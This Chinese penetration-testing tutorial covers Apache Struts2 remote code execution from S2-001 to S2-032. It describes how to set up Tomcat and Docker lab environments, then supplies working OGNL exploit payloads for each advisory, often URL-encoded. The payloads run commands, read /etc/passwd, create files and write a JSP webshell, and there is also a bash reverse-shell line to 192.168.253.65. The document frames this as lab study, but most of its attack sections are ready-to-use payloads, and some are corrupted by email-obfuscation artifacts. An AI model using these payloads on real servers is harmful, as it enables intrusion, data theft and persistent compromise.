文章来源 : 疯猫网络
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Struts2简介、Struts2详细安装、Docker详细安装Struts2、Struts2-001至Struts2-061的全部远程代码执行攻击总结、实战武器Struts2的总结RCE使用经验等等操作,如果连Struts2都不会安装操作提权等,怎么拿下对方服务器?
Struts2是一个基于MVC(Models、View、Controller)设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。
Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。
可参考Apache Struts官方连接,不同版本中漏洞情况也不一致;下载对应版本Struts即可验证对应漏洞。
各版本下载:
http://archive.apache.org/dist/struts/binaries/
https://hub.docker.com/r/2d8ru/struts2
https://vulhub.org/
下载安装地址:
https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.88/bin/
开始安装java环境支撑:
双击tomcat安装包默认下一步安装即可:
默认C盘目录:
然后自动开启:
接着访问本地的8080端口:成功搭建
1)S2-001
默认将源码war包丢入webapps目录下,会自动部署!
丢入后在bin目录下双击Tomacat8即可开启!
已经搭建成功!那么高版本也是一样的!后面就随机拿几个给你们演示搭建即可!
2)S2-046搭建
3)S2-059搭建
方法都是一样,只要有源码包,丢入即可自动部署完成,开始漏洞验证研究之旅。
IntelliJ IDEA搭建tomcat
将 Tomcat 安装为系统服务,在 tomcat的bin目录下,cmd 中运行service.bat install,提示安装成功--->The service 'Tomcat7' has been installed,在系统服务找到它--->Apache Tomcat 7.0.94 Server。
在 cmd 中运行 **service.bat install:
1、下载IntelliJ IDEA,Ultimate版免费
2、安装IntelliJ IDEA
3、点击Run---EDit Configurations...
4、点击左侧“+”号,找到Tomcat Server---Local(若是没有找到Tomcat Server 可以点击最后一行 34 items more)
5、在Tomcat Server -> Unnamed -> Server -> Application server项目下,点击 Configuration ,找到本地 Tomcat 服务器,再点击 OK按钮
这里拿本地环境搭建来做漏洞复现!
1)这里先简单的以S2-001为例:
可以看到这里验证结果显示情况!
(1)访问靶机:
http://127.0.0.1:8080/s2-057/index
(2)验证漏洞是否存在
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
计算器也是可以开启的!
(3)POC源码
转换url即可!
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@[email protected])).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@[email protected](#a.getInputStream()))}/actionChain1.action
(1)漏洞原理:
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
(2)影响版本:
Struts 2.0.0 - 2.0.8
(1)开启struts2-001漏洞
cd /home/dayu/Desktop/vulhub-master/struts2/s2-001
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
成功访问!!
(2)验证漏洞是否存在
输入%{'dayu'}返回dayu就是存在该漏洞!
(3)构造poc,填到password框:
Poc获取tomcat路径:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
(4)获取网站的真实路径:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
(5)执行命令
new java.lang.String[]{"cat","/etc/passwd"} %{#a=(newjava.lang.ProcessBuilder(newjava.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=newjava.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
bash -i >& /dev/tcp/192.168.253.65/8888 0>&1
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
通过此命令可以进行反弹shell。
(1)漏洞原理:
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
(2)影响版本:
Struts 2.0.0-2.1.8.1
(3)绕过过程
1. 在S2-003中\u0023用于绕过struts2的过滤器#
2. 在S2-003 struts2添加安全模式(沙盒)之后
3. 在S2-005中,使用OGNL表达式关闭安全模式并再次绕过
(1)开启struts2-005漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(3)构造poc,在tmp创建一个success文件
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%[email protected]/tmp/success%22.split(%[email protected]%22))')(%5cu0023rt%[email protected]@getRuntime()))=1
成功远程代码执行创建目录文件夹!
(4)执行命令
成功远程代码执读取底层passwd文件信息!
https://cwiki.apache.org/confluence/display/WW/S2-007
(1)漏洞原理:
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞
当-validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回。
例如,这是一个UserAction:
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;(...)
并UserAction-validation.xml配置:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
当用户age以str的形式提交int时,服务器"'" + value + "'"将对代码进行拼接,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码。
(2)影响版本:
Struts 2.0.0 - 2.2.3
(1)开启struts2-007漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
'+(1+1)+'
在年龄中输入非数字类型点击登陆,年龄框的value变成11,证明漏洞存在!!
(3)查找底层目录信息
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
枚举到了目录信息!
(4)枚举dayu.txt信息
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20/dayu.txt%27%29.getInputStream%28%29%29%29+%2B+%27
成功远程代码执行读取文件信息!
(5)这是可以执行任意代码的EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@[email protected](@[email protected]().exec('id').getInputStream())) + '或者:
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
将EXP放入输入框(年龄),然后获取命令执行结果:
成功远程代码执行获取id信息!
查看日志!
日志是可以查看我们的攻击行为!
(1)漏洞原理:
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用,使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。
(2)影响版本:
Struts 2.1.0 – 2.3.1
(1)开启struts2-008漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
/devmode.action?debug=command&expression=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@[email protected](@[email protected]().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
成功远程代码执行!
(1)漏洞原理:
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
(2)影响版本:
Struts 2.1.0 - 2.3.1.1
(3)操作方法
Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。
(1)开启struts2-009漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在:POC-1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
成功远程代码执行!
(3)构造poc,枚举/etc/passwd
http://192.168.253.7:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
(4)创建用户执行命令
http://192.168.253.7:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec("touch /tmp/dayu009").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
成功远程代码执行!
(5)POC-2:
注意这里是转换POST访问/ajax/example5:
z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#s.println(#d),#s.close())(meh)}
成功远程代码执行!
(1)漏洞原理:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
(2)影响版本:
Struts 2.1.0-2.3.13
(1)开启struts2-012漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在-POC-1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
需要URL编码,否则500!成功远程代码执行!
(3)POC-2,进行URL编码:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功远程代码执行!
(1)漏洞原理:
struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值:
none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行
(2)影响版本:
Struts 2.0.0-2.3.14
(1)开启struts2-013漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
http://192.168.253.7:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
成功远程代码执行!
成功远程代码执行!
(3)拓展S2-014
S2-014是对S2-013的修正。因为在固定S2-013时,将忽略$ {ognl_exp}之类的OGNL表达式的执行方法,而S2-014是它的增强补丁。
http://192.168.253.7:8080/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
(1)漏洞原理:
如果请求与任何其他已定义的操作都不匹配,它将被*匹配,并且所请求的操作名称将用于基于操作名称加载JSP文件。并且{1}的值作为OGNL表达式受到威胁,因此允许在服务器端执行任意Java代码。此漏洞是两个问题的组合:
1. 请求的操作名称未转义或再次被列入白名单
2. 当使用$和%开放字符的组合时,对TextParseUtil.translateVariables中的OGNL表达式进行双重评估。
(2)影响版本:
Struts 2.0.0 - 2.3.14.2
(1)开启struts2-015漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在-POC-1:
这里直接使用是没有用的需要进行url编码才能使用:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@[email protected]().exec('id').getInputStream()),#q}.action
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
成功远程代码执行!
(3)POC-2:
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@[email protected]().exec(‘ls’).getInputStream()),#q}.actionurl编码之后:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
成功远程代码执行!
(1)漏洞原理:
问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行
(2)影响版本:
Struts 2.0.0 – 2.3.15
(1)拉取镜像到本地
sudo docker pull medicean/vulapps:s_struts2_s2-016
(2)开启和验证是否开启
sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-016
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8888/
(2)验证漏洞是否存在-POC-1:获取ID
访问http://your-ip:8080/index.action?redirect:OGNL expression以执行OGNL表达式:
http://192.168.253.7:8888/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
成功远程代码执行!
(3)POC-2:获取网页目录
http://192.168.253.7:8888/default.action?redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
经过URL编码:
成功远程代码执行!
(4)POC-3:执行uname -a
http://192.168.253.7:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
成功远程代码执行!
(5)POC-4:获取webshell
http://192.168.253.7:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@[email protected]).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
成功远程代码执行!
(1)漏洞原理:
要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中
(2)影响版本:
Struts 2.0.0 - 2.3.15.1
(1)拉取漏洞环境镜像到本地
docker pull medicean/vulapps:s_struts2_s2-019
(2)拉取漏洞环境镜像到本地
docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-019
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8888/example/HelloWorld.action
(2)验证漏洞是否存在POC:
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()进行Url编码后使用
?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29
成功远程代码执行!
(3)退出环境:
docker ps 查看容器ID
docker stop 容器ID
(1)漏洞原理:
Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中:
在Struts2中,如下的标签就调用了OGNL进行取值。
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。
(2)影响版本:
Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3
(1)拉取漏洞环境到本地
sudo docker pull medicean/vulapps:s_struts2_s2-029
(2)验证是否开启
sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-029
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8888/
(2)验证漏洞是否存在-POC-1:
http://192.168.253.7:8888/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@[email protected](@[email protected]().exec('id').getInputStream()))
成功远程代码执行!
(1)漏洞原理:
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式!
(2)影响版本:
Struts 2.3.20-Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
(1)开启struts2-032漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
(1)访问靶机:
(2)验证漏洞是否存在POC-1:
http://192.168.253.7:8080/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010
返回1001060253718则代表代可代码执行!成功远程代码执行!
(3)POC-2:查看id
http://192.168.253.7:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
成功远程代码执行!
(4)创建文件夹:
http://192.168.253.7:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch /tmp/dayu1212
成功远程代码执行!
今天学到认知Struts2简介、Struts2详细安装、Docker详细安装Struts2 Struts2-001至Struts2-045的全部远程代码执行攻击总结RCE使用经验等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货 希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
侵权请私聊公众号删文